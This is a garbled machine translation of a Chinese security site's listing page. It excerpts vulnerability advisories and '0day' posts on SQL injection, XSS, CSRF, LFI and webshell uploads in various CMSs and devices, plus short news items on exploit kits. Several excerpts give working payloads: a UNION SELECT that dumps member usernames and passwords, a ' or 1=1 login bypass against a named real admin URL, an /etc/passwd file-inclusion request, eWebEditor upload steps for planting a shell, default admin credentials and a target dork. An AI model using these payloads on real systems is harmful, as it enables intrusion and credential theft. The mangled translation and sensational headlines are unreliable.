Yealink VOIP Phone persistent cross-site scripting flaws and fixes-vulnerability warning-the black bar safety net

Title: Yealink VOIP Phone Persistent Cross Site Scripting Vulnerability Product: Yealink Easy VOIP Phone Development website: http://www.yealink.com/ Author: Narendra Shinde =================================================== Developer description: --------------------------- Yealink is the...

Document vulnerability ShellCode look-vulnerability warning-the black bar safety net

Inscription: still very much like to put this topic, put so long, also modified several versions, are not satisfied, today was pushed again to write, as much as possible to put themselves know something write it out, learn the need to constantly summary of to accumulate, on a Sunday ride out, see...

Dlink DCS series CSRF change the administrative password-vulnerability warning-the black bar safety net

Title: Dlink DCS series CSRF Change Admin Password Affected version: DCS-9 0 0, DCS-2 0 0 0, DCS-5 3 0 0 and possibly other. Author: rigan - [email protected] -- A description of the problem: Dlink DCS is a camera series These cameras with the one containing the csrf flaw in the web interface Thi...

DirCMS arbitrary file read 0day-vulnerability warning-the black bar safety net

Feel time really flies really fast, the computer opened an off day is gone. Can't go on like this, so I'm going to take some time to write the blog and learning, recording their growth. Whether it be a programmer, or a security engineer, reading someone else's code is undoubtedly progress in a...

D-Link DSL-2640B (ADSL Router) CSRF flaws and fixes-vulnerability warning-the black bar safety net

Title: D-Link DSL-2640B ADSL Router CSRF Vulnerability Author: Ivano Binetti www.badguest.cn http://ivanobinetti.com Program website: http://www.d-link.com Affected version: DSL-2640B Test platform: Firmware Version: EU4. 0 0; Hardware Version: B2 +-----------------------------------------------...

4PSA CMS SQl injection flaws and fixes-vulnerability warning-the black bar safety net

Title: 4PSA CMS SQL Injection Vulnerabilities Author: BHG Security Center www.2cto.com Nitrojen90 Development program official website: http://www.4psa.com/ Affected version: latest version Risk level: high Testing platform: GNU/Linux - Windows Example: http://www.badguest.cn /print. php? id=SQL...

FBI will shutdown the Internet on March 8

FBI will shutdown the Internet on March 8 The Internet could go dark for millions of users as early as March 8 because of a virus that has corrupted computers in more than 100 countries. Last year, authorities in Estonia apprehended six men believed responsible for creating a malicious computer...

Fork CMS v. 3. 2. 4 multiple defects ( LFI - XSS )-a vulnerability warning-the black bar safety net

Title: Fork CMS v. 3. 2. 4 - Multiple Vulnerabilities Developers: http://www.fork-cms.com Author: RandomStorm - http://www.randomstorm.com Avram Marius Gabriel d3v1l Test platform: Windows XP & Vista The management panel of the reflection type cross-siteXSS Test: http://www.badguest.cn...

Cryptome Webpages infected with Blackhole exploit kit

Cryptome Webpages infected with Blackhole exploit kit Cryptome.org a popular website and similar to Wikileaks was hacked by the cybercriminals & Attackers were able to hide malicious scripts on every one of the site's 6,000 pages. Anyone visiting with a vulnerable browser will have found themselv...

PHP local file inclusion(LFI)exploit-vulnerability warning-the black bar safety net

This study main references are: http://downloads.ackack.net/LocalFileInclusion.pdf Experimental code: If you are on linux, be submitted directly to: test. php? for=/etc/passwd%0 0 to display the file. ? php include$GET'for'.‘. php’;//for testing local include vulnerability ?& gt; If it is on win,...

Android webkit XSS cross-domain Auto-Download vulnerability-vulnerability warning-the black bar safety net

Android Multiple Vulnerabilities Author: www.80vul.com Email:5up3rh3igmail.com Release Date: 2012/2/8 References: http://www.80vul.com/android/android-0days.txt Ph4nt0m Webzine 0x06 has been releasedhttp://www.80vul.com/webzine0x06/,there three papers on the android application security about the...

nginx fastcgi configuration mistakes+parsing vulnerability-induced vulnerability-vulnerability warning-the black bar safety net

Now there are many sites with nginx, since the N months before the nginx parsing vulnerability since now almost all fixed, the General statement is written so if $fastcgiscriptname ../. php return 4 0 3; When matching/. phpwhen it returns 4 0 3 但是 有些 fastcgi 配置 的 却 不只 有 .php and some are even...

oykX blog background post injection 0day-vulnerability warning-the black bar safety net

In the black bar safety net search oykX turned out to confiscate recorded this 0day Into http://zhouxiang. psdzj. com/admin/index. aspx In the account input box at the fill 1 2 3'Or 1=1 and '1'='1 Password is blank, also can be messy to fill, and click on the Login prompt for password error The...

LASERnet CMS Version 1.5 SQL injection vulnerability and fix-vulnerability warning-the black bar safety net

Use method: http://www.badguest.cn/index.php?id=SQL Demo: http://www.badguest.cn /index. php? id=-1' UNION SELECT 1,2,3,CONCATWSCHAR32,58,32,user,database,version,5,6,7,8,9,1 0,1 1,1 2,1 3--+ Provide solution The filter index. php page id=parameter input...

Massive Compromise of WordPress Sites Leads To Phoenix Exploit Kit

Researchers at the security firm M86 report that hackers have compromised hundreds of Web sites that use the WordPress content management system. The sites, mostly small Web pages and blogs, are being used to fool spam filters and redirect unwitting visitors to drive by download Websites that wil...

Notepad Dog microblogging 3. 0 0day-vulnerability warning-the black bar safety net

You know.... wap/index. php? mod=pm&pmnew=andselect%2 0 1%20fromselect%20count,concatselect%2 0select%2 0select%20concat0x27,0x7e,jishigoumembers. username,0x27,0x7e,jishigoumembers. password,0x27,0x7e%20from%20jishigoumembers%20where%20uid=1%20limit%200,1%20from%20informationschema...

EasyPage SQL Injection Vulnerability-vulnerability warning-the black bar safety net

Title : EasyPage SQL Injection Vulnerability Author : Red Security TEAM Date : 19/01/2012 Risk : High Vendor : http://karait.com/ Tested On : Windows Server 2 0 0 8 Microsoft-IIS/7.5 Dork : inurl:default. aspx? page=Document&app=Documents&docId= Contact : Info 4t RedSecurity d0t COM Home :...

ewebeditor version>=5. 5 tasteless 0day and fix-vulnerability warning-the black bar safety net

To 6. X also works for ASP. aspx. JSP. Are work. Use method: To access this address Editor/asp/upload. asp? action=save&type=image&style=popup&cusdir=a. asp Visit this address can establish an A. ASP folder...... Then use this html code to upload. form...

ptcms PT fiction thief PTNovelSteal any code written 0day-vulnerability warning-the black bar safety net

pt the novel system through the kill version. But the official is already out of the patch! （The fucking game! OK the following text to start:here is our own exchange platform, is part of our 90sec all members of the technical sharing platform! This sets the program user did not use the database,...

Kingdee Apusic Web framework for the backend to get the site webshell and repair-vulnerability warning-the black bar safety net

Apusic Web Management Console Default background address: admin/login. jsp The default management account password: admin admin Use method: the background has to execute SQL statements, also have to load anything. Specific words have forgotten Find Upload, a loaded God horse, just look to...